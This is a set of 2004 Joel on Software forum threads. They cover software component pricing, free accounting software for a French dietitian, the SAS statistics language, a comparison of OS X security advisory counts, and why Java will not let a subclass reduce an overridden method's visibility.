>>>>>>>>>>>>>>>>>>>>>>> While Im sure most developers would love to see these changes, I am concerned some vendors will fear those changes or even be angry at me for mentioning them. However, if they are reading this I want them to know the iniatives we plan are not ones that would just lower the price of components by an order of magnitude but also ones that would increase the sales volume of components by two, three, or even four magnitudes. Compare selling 10,000 components at an average of US$500 each with selling one million components for $50 each. (Ill do the math: US$500,000 vs. US$50,000,000.) If you are a software vendor, which would you rather have? And if you are a developer, wouldnt you prefer your US$500 buy you 10 components instead of just one? >>>>>>>>>>>>>>>>>>>> That is a quote from: http://discuss.fogcreek.com/joelonsoftware/default.asp?cmd=show&ixPost=154594&ixReplies=5 Lower prices do not automatically equate to higher sales volume. There are numerous other factors to take into consideration. 10,000 to 1 million ratio? I think that is a bit much. What initiatives would you take to increase sales from 10,000 to 1 million? Each market has a certain size or capacity at each stage of the products life. Increasing sales volume would mean getting on the phone and selling stuff which is not easy or launching a marketing campaign which would take time. I agree with the following points from that thread: - resellers are good for the software vendor simply because they give them exposure - provide an outlet for those willing to purchase from them - perhaps give a better discount. Is there really a direct correlation between the price of a product and the volume sold? (Not that that is what Mike said because he didnt.) I just dont believe its that simple.
Fri 25 Jun | . | Speaking of Software and Volumes without caveats is very misleading, for Software is non-perishable. More often thna not each item sold is a _new_ sale, not a replacement. Therefore 10K or 1M depends entirely on the target market of the product. No generalisations can be made across the Software Industry.
Fri 25 Jun | Tony Edgecombe | I think I'd be wary of a component that only cost $50, I know that a single support call could cost $50 to service so how are they going to stay in business at that price?
Fri 25 Jun | Mr. Analogy | 'Lower prices do not automatically equate to higher sales volume.' Exactly correct. It's called Price-Demand Elasticity. The idea that price affects demand. Your product can EASILY be too cheap. Customers might fear that, at that price, you'll be out of business soon and not able to support the product. Or they might wonder 'what's wrong with this product that they have to offer it so cheaply'. There will always be some customers who shop only on price. You do NOT want those customers. I know this from experience.
Fri 25 Jun | Steve Jones (UK) | It sounds like BS to me. If dropping the price by a factor of ten increased sales by a factor of 100, then how about selling at $5, you'd get 100,000,000 sales. Or, how about 50c a pop, then you'd sell 10 billion copies. Seems unlikely. Of course, you hardly need a degree from LSE to know that in real life, things are a lot more complex than that. There is also the problem of support. If you sell 100 times as much product you'll have (at least) 100 times as much support to manage.
Fri 25 Jun | Peter | I would be willing to drop $50 on a component that would get my job done easier without struggling to get it reimbursed by the company. I will NOT spend $500 out of my own pocket for something, and at several companies I have worked for, it would take up to 12 months to get reimbursed for such an expenditure. My 'balk point' for random dev tools is $99. Below that price point, I don't need a lot of justification to buy it. It won't need to be perfect. And if it won't do what I thought I could do with it, well, its not a lot of cash (couple movies and a couple pizzas will get you there pretty fast). Above $99, I do research and only purchase things that have a more than 75% chance of doing what I need them to do. If its for the office, above $99 and they buy it. Almost all my shelfware ran $99 or less. For more expensive software, you will find a massive gap between around $5k and $100k. Below about $5k, most managers can eventually get budgeted and sign off on the software. Above that, you usually need to get vp and maybe board level approval, so the sales reps make lots of plane trips to the potential client for dog and pony shows. This jacks up the end price to 6+ digits. It is not a myth, you will find certain price points for your product that will seem like brick walls. Where sales will change by several orders of magnitude.
Fri 25 Jun | no name | > I think I'd be wary of a component that only cost $50, I know that a single support call could cost $50 to service so how are they going to stay in business at that price? Make the thing good enough that nobody needs to call for support.
Fri 25 Jun | muppet from madebymonkeys.net | GET OUT FROM UNDER THAT BRIDGE!!!
Fri 25 Jun | no name | Who? Me?
Fri 25 Jun | Devin | don't forget that the cost per item to market that stuff is pretty tremendous.  Consider record labels as an example.  Their purpose is to sell a ton of records -- into the millions -- for a select few artists.  In order to do so, they spend hundreds of thousands on marketing campaigns for those records.  The net profit to the "developer" (artist) is a lot lower than if the artist were to independently produce, market and distribute those records.  If you are selling 1 million units, you also need a large company for support, etc.  Try handling a 1 million volume sale with a 10,000 unit team and you're gonna have 100 times more of everything (complaints, etc) than you can handle.
Fri 25 Jun | Mr. Analogy | 'Make the thing good enough that nobody needs to call for support. ' I keep writing idiot-proof software, but the world keeps creating bigger idiots.
Fri 25 Jun | Albert D. Kallal | >I think I'd be wary of a component that only cost $50, I know that a single support call could cost $50 to service so how are they going to stay in business at that price? This is tough. I would rather sell 10,000 copies of something at $50, then sell 1000 copies of something at $500? Why? Well, if you are selling a $500 software package, you better have some decent support people working for you, because if I just spent $500 on something, I going to expect you to kiss me, and cook me dinner if I have a problem (oh…gee..my girl does that too!). With a $500 product, you can afford good support, and likey even better marketing people. After all, it is a per unit cost that you have to figure the support on. If I just spent $50 on something what kind support can I expect? Likely none! So, you are MUNCH better off to sell the $50 guy, since your support costs will be MUCH lower. However, a $50 expenditure does not represent much of a product, or a commitment, and thus you likely will NOT have a high renewal rate. At $500 per copy/per seat, that is a SEROUS investment by any company. and if you are in this business for the long run, then you likey are better off selling the $500 guy….. Albert D. Kallal Edmonton, Alberta Canada kallal@msn.com http://www.attcanada.net/~kallal.msn
Fri 25 Jun | Mr. Analogy | 'If I just spent $50 on something what kind support can I expect? Likely none! So, you are MUNCH better off to sell the $50 guy, since your support costs will be MUCH lower' Just because it's REASONABLE for *you* (or *I*) to not expect much support on a $50 product, doesn't mean the customer won't expect it. I think Joel already covered this pretty well when he talked about non-linear price-demand elasticity. I.e., There are times when a 5% increase in price ($499 to $501) can cause a 50% reduction in sales. E.g., if any purchase of $500 is a capital budge item versus 'petty cash'. THAT is the most relevent concept here. And it varies by industry.
Sat 26 Jun | Scott | I respectfully disagree with you Albert. My compiler was around $500. They charge for each minute of support. There's 30 days free support with installation problems only and then, nothing. Updates to the next version are $300. Now, I have some widgets that I have corresponded a lot with the developers asking for new features. Lots of back and forth. They tend to add the features I request and respond personally te each of my letters. Updates are free and the widget costs only $20.
Sat 26 Jun | Stephen Jones | Consumers don't pay $500 for software, not even for Win XP + Office. For the consumer market don't even look at companies that purportedly charge hundreds of dollars for their product. People either buy it bundled, pirated or use something else. So there may well be a hundredfold difference in sales between software costing $50 and software costing $500.
Sat 26 Jun | Albert D. Kallal | >My compiler was around $500. They charge for each minute of support. There's 30 days free support with installation problems only and then, nothing. Updates to the next version are $300. >Updates are free and the widget costs only $20. Sure, we would all love to buy all software for $20. Our industry just does not work that way. The issue is not you purchasing software here. but selling and maintaining software. I don’t know of anyone (personally) in the software industry that has made a lot money by selling $50 package. (you might. but I don’t). I sure they exist. but I never meet those people. I certainly do know of people who make/made very good money in our industry, but they sure as the heck are not selling $50 packages. The advent of the web certainly does make the $50 package possible. However, as a general rule, your support, marketing, accounting, and sales people that you need for a successful product normally can’t live off of a $50 sale. You might sell 2000 copies, but that is only $100,000, and that is VERY little money these days in our business. If you can use a web model to get some product sold, and use the web to keep support down low. then I guess the $50 idea might work. However, I have never seen any company survive on such a low product price. (the exceptions being some OEM packaged, or pre-bundled software…which sold for $50 wholesale. but not retail. And, in most cases the OEM stuff occurred long after the product established it self). Hum...your milage may vary on this one.... Albert D. Kallal Edmonton, Alberta Canada kallal@msn.com http://www.attcanada.net/~kallal.msn
Sun 27 Jun | I'm scared of success - hold me? | I'm amused by the idea of someone willingly going into a market where one or two thousand sales is all they're expecting, yet they're still sure that this will be profitable. Why exactly are people afraid of having decent sales volumes? Sure, if you expect to have to personally hold the hand of every customer then it might be a worry, but real companies making actual profit just don't do that. If you sell your widget for $20 it's very sensible to create an efficient system for feedback, feature requests and support, but intelligent people manage this so that they don't have to have an intimate and personal relationship with all of their customers. After you've made a couple of million dollars you can afford to hire someone to supervise your website discussion board while you go off and code another widget, and if you're not planning to run a profitable business then it doesn't really matter what your sales or support issues are.
Open Source accountancy software | Fri 25 Jun | Olivier B
HI Im looking for a free (I mean $0) accountancy software for liberal professions (doctor, dietician...) Idealy the soft should : - manage data clients (personal info) and appointment - all the money of the cabinet (consultation cost but also the local rent, invoices, ...) I tried google with no result :(
Fri 25 Jun | finitesoup | http://sql-ledger.org/
Fri 25 Jun | Tom H | Do you want $0 price, or do you want Open Source? The two are not the same...
Fri 25 Jun | Philo | Olivier - great to meet you! I'm looking for free (I mean $0) medical care for some friends that are contract programmers. Can you hook them up? Surely the docs don't mind giving their services away in their free time, right? Philo
Fri 25 Jun | tapiwa | Philo, They don't http://www.icrc.org/eng
Fri 25 Jun | tapiwa | And to the OP, this might be overkill, and the accounting module is still missing a lot of features, but check out Open For Business http://www.ofbiz.org
Fri 25 Jun | kc | Philo, I can perform any medical procedure you want. I'm not licensed by the AMA, but I have a Dremel (rotary power tool), a hammer (smashing device), and a utility knife (sharp cutting tool). I only accept payment in advance and he'll have to sign a 'don't sue me' contract, but just drop me an email to set up an appointment.
Fri 25 Jun | Olivier B | I said open source but if it's a freeware (or not expensive shareware) it good too. I'm looking for such a program for my girlfriend, who will start as a dietetician in september. She has no money at all and the firsts months/years will probably be very difficult (expensive invoices, few clients) So the main goal is to find some good programs to begin with. I tried OpenOffice for and it's really a great job thy've done... MS office for $0 ! So I'm now looking for the same concept for accountancy and clients management... I know that the concept of having free software to use for billing clients is not very popular... but you also probably know that starting it's own compagny isn't really easy !
Fri 25 Jun | anony coward | I've done some work in the field of medical billing and I can tell you, it's a quagmire. Between federal, state, local governments, private insurance companies, patients with no insurance, etc, everything is a paperwork nightmare. And if she accidentally submits a bill that isn't right she could be a huge legal mess; tell her to be very careful if she gets anywhere close to Medicare or Medicaid. OTOH, there is good money to be made in the field.
Fri 25 Jun | Mr. Analogy | So, do you really want your accounting done by a free software program with zero liability (or motivation to fix some niggling little bug?).
Fri 25 Jun | Mr. Analogy | They provide free healthcare, but only to the very most needy folks on the planet. Plenty of feel-good, but questionable actual long term impact. The poorest of the poor need clean water more then the latest drugs. If fact, a friend from France pointed out that most wars are actually over WATER (or farmable land (i.e., that has enough water, etc. for farming)). Ya' know, I was thinking : Imagine if we provided free software, but only the the most technologically needy: those with Windows 3.1 computers and no pc skills. This wouldn't help them, it would hurt them. Then, I realized, we do the same thing with free medicine. We gve out discounted or free medicine (for aids in Africa, etc.) to people who DO NOT HAVE CLEAN WATER. This doesn't solve thier most immediate problem, and only excacerbates the other problems.
Fri 25 Jun | Herr Herr | Your free surgery will come with limited, obscure instructions on how to do the preparatory anaesthetic work yourself.
Fri 25 Jun | Simon Lucy | Ummm, at the risk of droning on, I'll just point out that the USA is the only country in the West that doesn't have health care that is free at the point of use. The points about access to clean water are well made though.
Fri 25 Jun | Bored Bystander | Olivier, For whatever reason, a good general purpose and full featured open source accounting package has never been developed. In general, the OSS field doesn't do well with applications that are tied to business functions. My impression is that the sort of people who are attracted to committing large blocks of their time to open source development don't have the career or business background to create something very 'businessy'. Committed career programmers usually have no clue about business activities (in fact many of them pride themselves on ignorance about business.) As ugly as it sounds, tell your friend to bite the bullet and buy Quickbooks. I don't care for Intuit's 'jam it down your throat' marketing messages embedded in their products, but Quickbooks is easy to set up, reliable, and most CPAs can deal with Quickbooks data files.
Fri 25 Jun | kc | I'm developing a *very simple* accounting module for one of our departments here at work. The reason general purpose Accounting systems are rare is because of the domain knowledge that has to go into it. There are bits and pieces that everyone understands pretty easily and quickly. There are lots of custom exceptions depending on which 'Accounting Standards' you use. It's a raging mess. This may sound terrible, but start in Access. You can have simple databases up and running in a matter of minutes and, unless you need them, forms are optional. Then, when you find/build the system that you're looking for, the data can easily be pealed out using SQL. This will allow you to figure out your needs before you spend too much time or effort.
Fri 25 Jun | no name | 'I'll just point out that the USA is the only country in the West that doesn't have health care that is free at the point of use.' An important point, I didn't know that health care grows on trees in other countries. Very cool. We should set up some greenhouses and get our hands on some of those seeds...
Fri 25 Jun | Philo | Olivier - my apologies to you and your girlfriend. I was a bit sharp, prompted by my profiling on the term 'doctors.' If you're in the US, she needs to make sure she complies with the requirements of HIPAA, which can cause significant legal hardships if not adhered to. I would suggest looking for groups she can join - maybe a local medical association or a national dietician's group. They might have discount services available and advisors to help her get started without getting into trouble. There are also medical billing services available that will take care of the work - I have no idea how much they cost. She should also try to get a reference for a lawyer and have an initial interview. An initial consult shouldn't run more than $200, and a good lawyer will have checklists and how-to's that she can use to protect herself. Establishing a relationship will also make it less scary to go see the attorney when she might want advice. And I'll be the first to admit - it sucks that she has to worry about this kind of stuff when she's excited about a new job. Best of luck! Philo
Fri 25 Jun | Jeremy | May I ask who would be liable if a free (as in $0) software accounting package had a bug that caused either extra or too few bills to be sent???  Think either significant revenue losses or fraudulent billing.  Sometimes it's good to have someone else on the line too.
Fri 25 Jun | Olivier B | Jeremy : open source does not mean 'a single developper developping a bad software when he has time, 2 hours once a year... I was so impressed by OpenOffice that my conclusion was : wow, what a great job for free. And many people work on this project, with no money consideration, and i believe with real quick response time when bugs are reported... maybe quicker than Microsoft. That's why I'm looking for open source too for tha accountig program... open source projects are generaly more 'up to date' than freewares/sharewares because many people works on it instead of a single developper at home. For others : she will be dietetician in France. I'm sure there's lots of little things making the application becomming complicate because of each job specialites that's why open source could be one more time a good thing. Maybe would I be able to add some custom functionalities... The other way is for me to start from scratch and developping her own application. the customer part should be quite easy.. but the accounting is a bit harder I imagine :-) I tried the programs you told me, but they seems a bit too big (I don't know how to explain) I mean to complicated for just liberal professions.
Fri 25 Jun | DJ | I am guessing business applications will never be open-sourced. I would say OSS projects get started becuase it is a 'cool thing', technical challenge or some kind of system utility. Business apps are none of these. So businesses are forced to buy shrink-wrapped software or develop their own. After spending money or time developing software would a business give away their custom software to their competitors?? Not gonna happen.
Fri 25 Jun | Jeremy | I'm asking the question that if there's a problem, who will get sued? And if the billing was indeed in error, whose responsibility is it to pay for the damages? The legal risk could far outweigh any cost savings, at least in the US. I'm not familiar with the legal climate in Europe but people in the US seem to be sue-happy, especially with medical items. Or, to Philo's point, if the program does something that violates other regulations, like HIPAA, which governs patient privacy, who is the government going to sue? That would probably be the doctor. Clearly these are not functional issues, they're business issues, and quite relevant to the discussion. I don't know _anyone_ would would give away their software and take on your legal risk.
Fri 25 Jun | Oren Miller | I don't know anyone who would sell you software and take on your legal risk.
Fri 25 Jun | kc | Uh... right now nearly every EULA (End Users' Licensing Agreement) that I have every seen says that the user is responsible for its usage. Therefore, when a bug charges people multiple times (or crashes the ATM), no one is allowed to blame the Vendor/Developer at all. This isn't just commercial software, the GPL has a 'use at your own risk' clause too.
Fri 25 Jun | Jeremy | Just because it's in the EULA doesn't mean that someone can't sue in civil court. Have those limited liability provisions ever been upheld in a case? Even if those clauses hold up for now, I suspect that we'll see a push for product liability for software vendors like other industries in the not too distant future.
Fri 25 Jun | Mr. Analogy | OSS is the artworld of the software community: People doing cool stuff to please thier own community-centric interests. More power to them. But just as I get frustrated by an artist who is angry that no one will pay them to do what THEY WANT to do, I have little sympathy for a programmer sho gets frustrated that no one will hire them after they worked so hard to create a floppy-disk sized Linux router. Read Atlas Shrugged.
Fri 25 Jun | Fred | Some accounting solutions at the low end of the market (if she can't afford forking out $100 for something as important as an accounting software, she might want to reconsider her going into business :-)) http://www.milec.com/ http://www.ctc-soft.com/logiciel.htm http://www.ciel.com/produit/visu_produit.asp?pd=WK http://www.ciel.com/produit/visu_produit.asp?pd=WCLIB
Sat 26 Jun | Chris Altmann | 'I was so impressed by OpenOffice that my conclusion was : wow, what a great job for free. And many people work on this project, with no money consideration, and i believe with real quick response time when bugs are reported... maybe quicker than Microsoft.' It might be worth remembering that OpenOffice started life as the closed source, commercial StarOffice (the earliest reference I could Google was 1995 for the OS/2 version, though in 1993 they may have been selling the cross platform toolkit used to create it). Sun bought it in 1999, and Open Sourced it a year later. I'm sure they still contribute heavily to its development. What I'm getting at is that OO.o is not necessarily a good example of what can be created by a bunch of guys in their spare time. Maintained and improved maybe.
Sat 26 Jun | Ged Byrne | 'An important point, I didn't know that health care grows on trees in other countries. Very cool. We should set up some greenhouses and get our hands on some of those seeds...' How much did you pay to drive to work this morning? Or are those freeways just the product of some giant slug that roams about America leaving a concrete trail? If so, could you share some with the rest of the world. Or are you constantly lobbying your representitives demanding that toll's be charged on all roads?
Sat 26 Jun | Ged Byrne | Oliver, A good way to find open source software is to search Sourceforge. http://sourceforge.net/ Here's two possible projects: http://sourceforge.net/projects/open-accounting/ http://sourceforge.net/projects/gnucash/ However, don't expect every Open Source project to be like Open Office. Turnkey solutions are rare. However, if you are in a situation where you have time but very little money then open source can be a great solution.
Sat 26 Jun | Stephen Jones | ------' We gve out discounted or free medicine (for aids in Africa, etc.) to people who DO NOT HAVE CLEAN WATER. This doesn't solve thier most immediate problem, and only excacerbates the other problems. '-------- Yea, I mean this staying alive is a minor problem. Strangely enough the World Bank proposals on water supply insist on a charging model. The disastrous effect this has on shanty towns when put into practise doesn't seem to phase them too much. About the only good thing the change of government in Sri Lanka has had is the shelving of the privatisation of water proposals. To get back on topic, I don't think there is any very good accounting software, because it is so much more a question of domain knowledge, which changes every year and for every country, than it is dependent on programming per se. This is one case where she would probably do best to shell out a little for the appropriate one for her country and tax year. Altenratively a bit of extra work with a spreadsheet and mail merge.
Sun 27 Jun | Chip H. | Another issue is that accounting standards differ around the world. Heck, here in the US there are at least two major standards that I know of (US Govt. and FASB), and which you use depends on who your major customers are. Once you add foreign countries into the mix, it becomes a huge mess to program for. Hmmm. Another reason is possibly the lack of passion towards accounting software. There just aren't that many people that get excited over the area. I mean, lets face it -- it's not like it's a 3D game or anything really cool.
Anybody know anything about SAS | Fri 25 Jun | Ged Byrne
I always enjoy finding out about new programming languages, so Im intrigued by SAS[1]. On one programming language chart [2] SAS is growing big. In this chart the popularity of a language is measured by the number of google results it generates) Whats it all about? Any SAS coders out there? [1] http://www.sas.com/ [2] http://www.tiobe.com/tiobe_index/index.htm
Fri 25 Jun | RP | SAS = Special Air Service It's a special branch of the British army responsible for covert operations, behind enemy lines operations, long range recon patrols and hostage rescue.
Fri 25 Jun | Steve Jones (UK) | Actually, they are part of the Air Force I think, rather than the army. A lot of work they do involves body guarding VIPs. You can bet that they'll be in Ireland now, as George W is in town.
Fri 25 Jun | RP | They've always been in Ireland. And they're part of the army - they got that funny name to deceive the german army during WWII.
Fri 25 Jun | . | And I was thinking it was the _*A*_merican version of SOS.
Fri 25 Jun | Patrik | >What's it all about? We use SAS at work. Im not mainly a SAS-programmer, but I've been exposed to SAS in a mainframe<->UNIX integration. SAS is an interpreted language, and its runtime environment is available for multiple platforms. We use both OS/390 and UNIX based SAS applications to feed data to a web server. It also has its own drivers for connecting to a vide variety of different databases. Again, since we use OS/390 and UNIX in our case its Oracle and DB2. The programs can seamlessly move data between the databases, I dont know if SAS can join tables from different databases though. At the end of the day, it allows our users to look up data both on OS/390 DB2 and UNIX Oracle from the same web application without even knowing the difference, or where the data comes from.
Fri 25 Jun | no name | > You can bet that [the SAS]'ll be in Ireland now, as George W is in town Do you reckon they'll get a clean shot at him?
Fri 25 Jun | RP | LMAO^2
Fri 25 Jun | Ged Byrne | Thanks Patrik, So is it more of a database tool with its own macro language, and not language in itself?
Fri 25 Jun | Patrik | Ged, As I said, I am not a very seasoned programmer, so I dont really know its limitations. I've seen it used mostly for reporting needs and seamless intergration of databases. We use it for different reports and it has cubes and stuff like that. Keeps the business people happy :) Sorry I cant be of more help.
Fri 25 Jun | RP | What kind of rifle did you use? Were you the pointman?
Fri 25 Jun | sckorpp | I used SAS a little at my last job. It's basically a statistics language that can read datasets and do all sorts of, well, stats type of things. The datasets can practically be anything - database tables, excel sheets, csv files, etc. Additionally, you can output your data to any of those sources. So to answer your question, yes, SAS is more than a database tool. Like I said, it's good for stats type of things, but don't expect it to compare to C#, Java, Python, etc in other regards.
Fri 25 Jun | Ged Byrne | Patrick, Sckorpp, Many thanks for your help. It has all the hallmarks of being nice niche where rewards can be good. Barriers to entry, big growth, popular with the business but largely ignored by the techies. The only other feature I need is plenty of power, which I get the impression that it has. Definately worth more time investigating.
Fri 25 Jun | sckorpp | If this is the niche you want, then SAS has all the power you could want. I forgot to mention that it has the ability to create charts and graphs based on the data as well (and the ability to save them to files - I don't remember which formats though). SAS recently came out with an IDE of sorts for it. I don't recall the name ( something 'EG' pops into mind, but my memory isn't that good), but it supposedly simplifies a lot of the tasks and lets you accomplish them visually. I never used this product, but some coworkers thought that it was a little buggy at times.
Fri 25 Jun | Lou | Be aware that some companies use SAS as a data transformation tool (doing things like changing formats and simple joins that any shell script or Perl script could do). That said, SAS is a very powerful statistics and data analysis tool. The language is a bit funny, and the graphs have way too many options (seriously... but they're all useful). I've seen it used in risk analysis, data mining, decision analysis, and simple data transformation. There's a great starter book for SAS, I used it in college and it covered just about everything I needed to know to get going in SAS. Applied Statistics and the SAS Programming Language http://www.amazon.com/exec/obidos/tg/detail/-/0137436424/qid=1088166876/sr=1-2/ref=sr_1_2/103-9856623-7925454?v=glance&s=books
Fri 25 Jun | Ged Byrne | Thanks Lou, That is great.
Fri 25 Jun | Lenny Fitzman | >It has all the hallmarks of being nice niche where rewards >can be good. Barriers to entry, big growth, popular with >the business but largely ignored by the techies. The only >other feature I need is plenty of power, which I get the >impression that it has. SAS is a multi-billion dollar privately held company that pretty much has the market on statistical analysis... not exactly 'niche.' But definitely powerful.
Fri 25 Jun | Ged Byrne | I'm talking about being a SAS programmer as being a 'niche,' a bit like the one that Lotus Notes developers used to enjoy. I wasn't thinking of going into going into competition with these guys! As you say, it is in a multi-billion dollar market. This makes it a key tool in financial instutions, where there is always lots of cash sloshing about. At the moment I'm planning to get into the City, and this looks like a useful certification to add to the arsenal.
Fri 25 Jun | Scott Stonehouse | SAS has also been cross-platform since long before Java. In my experience, I have used the same program on several platforms without any problems. Of course I haven't really touched SAS for a couple of years, and my experience was mostly limited to Base SAS.
Fri 25 Jun | chiph | SAS is located just up the road from me. It's supposedly a fantastic place to work, with perks that rival and exceed Microsoft's. On site daycare, cafeteria with a guy who plays the piano to entertain you while you eat, wooded campus, gym membership, discounted golf memberships ($3000 to join a club that would normally cost $50,000 to join), and many many more. Side note: I've met one of the founders, a really nice guy, who is involved with the Carnivore Preservation Trust (http://cptigers.org/). There are packages like MatLab that do some statistical analysis, but the gold standard is SAS. It's available on multiple platforms (showing my age -- I used it on a Data General Eclipse MV-8000 in college), and the code is portable between them. The product is a cash cow for them -- if the licensing works the way it used to, you had to pay yearly or the software stopped working. In return, you got an excellent product and outstanding support.
Fri 25 Jun | JD | I am using SAS at client location currently. We use it mainly as data transformation tool where we will process data from various sources (Mainframe, JD Edwards, Sybase) to Sybase/Oracle database. Btw, SAS is very much different from procedure/oop language. They have concept of 'datasets' and dataset is what you will use through out your program. I had really tough time getting used to SAS. But once you learn it, you can write program which does whole lot of things but it still is amazingly compact! :) JD http://jdk.phpkid.org
Fri 25 Jun | Aaron F Stanton | I know that SAS is heavily used in the Pharmaceutical industry, as the FDA requires submissions to use a SAS format.  It's documented so as to give the appearance of not endorsing a specific product, but they all use SAS.  There is discussion of the FDA accepting data in XML, but I have no idea how far that has come lately.
Fri 25 Jun | Ged Byrne | Interesting, I got the impression that SAS was something new, but it has been around for years.
Fri 25 Jun | Lou | Of note, SAS recently changed their licensing scheme. I've heard rumors that my company and others are considering dropping SAS in favor of anything else to avoid paying out the nose. As I understand it SAS now requires licenses to be purchased in packs of 50. Not a problem for larger shops, but this might present a problem for smaller shops. I suggest you look into it before committing to learning the code. Oh, and doesn't SAS have it's own private golf course right next to the headquarters?
Fri 25 Jun | Derf | SAS is great for taking an enormous range of data and pushing it into a known format (probably why the FDA likes it). DataWorks Educational Research http://www.dataworks2.com/ uses it make flat files and tons of custom reports.
Fri 25 Jun | Aaron F Stanton | "purchased in packs of 50"???  Wow...man, that would just suck to be in a small shop that needs SAS to interoperate/compete with the big boys.
Fri 25 Jun | Ben Allison | I remember reading that SAS is used by nearly every Fortune 100 company, including the one I work for. We use it to pull data out of mainframe applications and into Oracle. My father, a research cardiologist, has used SAS for about 20 years to 'crunch his numbers'. It's definitely worth knowing, and would be quite a profitable niche for your career. Unfortunately, as another poster alluded to, it's not an easy or cheap tool to play with at home.
Sat 26 Jun | Ged Byrne | They do have a learning edition: http://www.sas.com/products/le/
Sat 26 Jun | no name | Would it be more interesting to talk about the people with guns and desert buggies?
Sat 26 Jun | RP | Definitely. Did you read "Bravo Two Zero" ?
Sun 27 Jun | no name | Yes. I did. It makes our concerns with dicky managers look pretty irrelevant.
Sun 27 Jun | unc | SAS started its live as statistical software (Statistical Analysis System), but has grown quite a bit from there. It is false that you need to get 50 licenses, one will do. However, one never 'buys' SAS but rents it on a yearly basis. Each module is sold separately, but you at least require the Base module. In my case, I used to work with the Base, Stat, IML (matrix algebra) and Graph modules. Because the licensing scheme is a pain in the ass, many companies are looking for alternatives. SAS programming is quite straightforward, but you need to think that you are working with 'datasets', reading, writing and operating on them. The Base module is basically a database system.
Mac OS X security myth exposed | Fri 25 Jun | sMACk Me
It seems finally someone has put out data on OS X security. http://www.techworld.com/security/news/index.cfm?newsid=1798 Guys you need to admit, no ones secure in the present OS secenario :-)
Fri 25 Jun | JWA | That article states that over a certain period they've logged 48 security issues in Win XP & SUSE Linux and 50 in Red Hat, then says that OS X "isn't significantly better" at 36. Now, obviously OS X isn't impenetrable, but I'd wouldn't consider a 33% difference to be "comparable".
Fri 25 Jun | whatever | I still don't get all this blahblah about security: So the Windows world tries to make their leaky software appear not as bad as it is by pointing at others and saying 'they are as bad as we are, and in case they were as widespread as windows, they would suffer the same fate'. But: first off, it would have to be seen that those other OSes would suffer as much as Windows if they were as widespread. And second off, if the reason why you have actually nada worms and viruses on MacOSX, Linux, BSD and whatever else is that they are not as widespread as windows - why can't I live well and 'secure' with them untl they are as widespread? After all, they tell me that all OSes are as insecure, so why not pick one which was never hit until now by any worm and probably never will in the next few years? Mac users as well as anyone else will probably laught at this one...
Fri 25 Jun | A.T. | I visited the site, and noticed a few things that indicate this might not be the whole story. They count the recent kerfufle about the Mac OS X 'url vulnerability' as 3 advisories. Maybe they do the same double-counting for Windows too, but I couldn't find an example in a quick scan of the list. A vulnerabilities in Safari was released in an OS X advisory, but vulnerabilities in IE are counted seperately from Windows. Add another 53 advisories to the Windows side of the balance. Oh, and this is ironic: the recent OS X panic involved, in part, the combination of multiple vulnerabilities in to get the Help viewer to run untrusted code. On the front page of the site is a newsflash entitled 'Zero-day exploit for Internet Explorer, actively exploited to install adware on users PC's.' and on clicking the link I find that the exploit uses multiple vulnerabilities to -- yes -- get the Windows Help Viewer to run untrusted code.
Fri 25 Jun | Happy Apple Switcher | http://daringfireball.net/2004/06/broken_windows
Fri 25 Jun | Thanks Microsoft | Nice try Myron.  Windows was, is, and will probably always be swiss cheese.  All operating systems will have problems.  Windows will be worse, more widespread, and MORE easily exploited.
Fri 25 Jun | Myron A. Semack | First off, I haven't posted in this thread until now. I have never posted here under another name, and I don't intend to start. Secondly, calling Windows 'swiss cheese' is more than a little arbitrary. Exactly how many security exploits are required before something becomes 'swiss chesse'? Is it one? Is it 15? Is it 1,000?
Fri 25 Jun | Thanks Microsoft | My apologies, Myron.
Fri 25 Jun | mr. X | 'Guys you need to admit, no ones secure in the present OS secenario' I do? I've never had any security problems with my machine, and it's been on the internet for about the past 5 years, nearly nonstop. I'm running Debian (which is pretty much never mentioned in these sort of articles), and I'm not even particularly security-crazy -- I've never figured out how to get the firewall set up here. (I tried 'Firestarter' once, which is supposed to make it simple, but that only shut down all my network traffic, coming and going.) If I look at my logs, I can see that I'm getting hit all the time from various nefarious programs, but never for any program I've ever used, and usually for Windows / IIS exploits.
Sun 27 Jun | FG | 'Guys you need to admit, no ones secure in the present OS secenario' But the zeroes are OK. Sorry - couldn't resist.
Java: can't reduce inherited method visibility | Thu 24 Jun |
Why is this? If I have a protected method x in class A, and derive a class B from A, why cant I make a _private_ method x in B? Is there an alternative?
Thu 24 Jun | CF | From: http://www.sniffer.net/bookshelf_do_sniffer/java/exp/ch05_07.htm There are two important (but unrelated) notes we need to add to the discussion of visibility with regards to class members in subclasses. First, when you override methods of a class in a subclass, it's not possible to reduce their visibility. While it is possible to take a private method of a class and override it to be public in a subclass, the reverse is not possible. This makes sense when you think about the fact that subtypes have to be usable as instances of their supertype (e.g., a Mammal is a type of Animal). If we could reduce the visibility of an overridden method, this would be a problem. However, we can reduce the visibility of a variable because it simply results in a shadowed variable. As with all shadowed variables, the two variables are distinct and can have separate visibilities in their different class forms. The second point is that protected variables of a class are visible to its subclasses, but unlike C++, only in objects of the subclass's type or its subtypes. In other words, a subclass can see a protected variable from its superclass as an inherited variable, but it can't access the variable in a separate instance of the superclass itself. This can be confusing because often we forget that visibility modifiers don't resrtict between multiple instances of the same class in the same way that they do instances of different classes. Two instances of the same type of object can normally access all of each other's members, including private ones. Said another way: two instances of Cat can access all of each other's variables and methods (including private ones), but a Cat can't access a protected member in an instance of Animal, unless it can prove that the Animal is a Cat.
Thu 24 Jun | a2800276 | In your case: B is-an A. That means you can pass your B-object to a method such as: doSomething (A a) { a.x(); } but doSomething() couldn't call method x() on your B object if reducing visibility was allowed. Increasing visibility doesn't have that effect and Java allows you to do so. Which is a cause for some confusion. Similar thing applies to exceptions. Overriding inherited methods can declare fewer or more specific exceptions, but can't throw any exceptions that the super-class's method doesn't throw. -tim
Thu 24 Jun | Mike | The alternative is composition.
Thu 24 Jun | Brian | To flesh out a2800276's answer a bit more, making the sub-classes method more private creates a potentially impassible situation when you go to use your classes: class ObjA { protected int doSomething() { return 1; } } class ObjB extends ObjA { private int doSomething() { return 2; } } class ObjC { public static void main(String[] args) { ObjA myA = new ObjB(); System.out.println(myA.doSomething()); } } The code in ObjC cannot make sense becase even though you are referring to myA as an 'ObjA' it is really an 'ObjB' which has a private method.
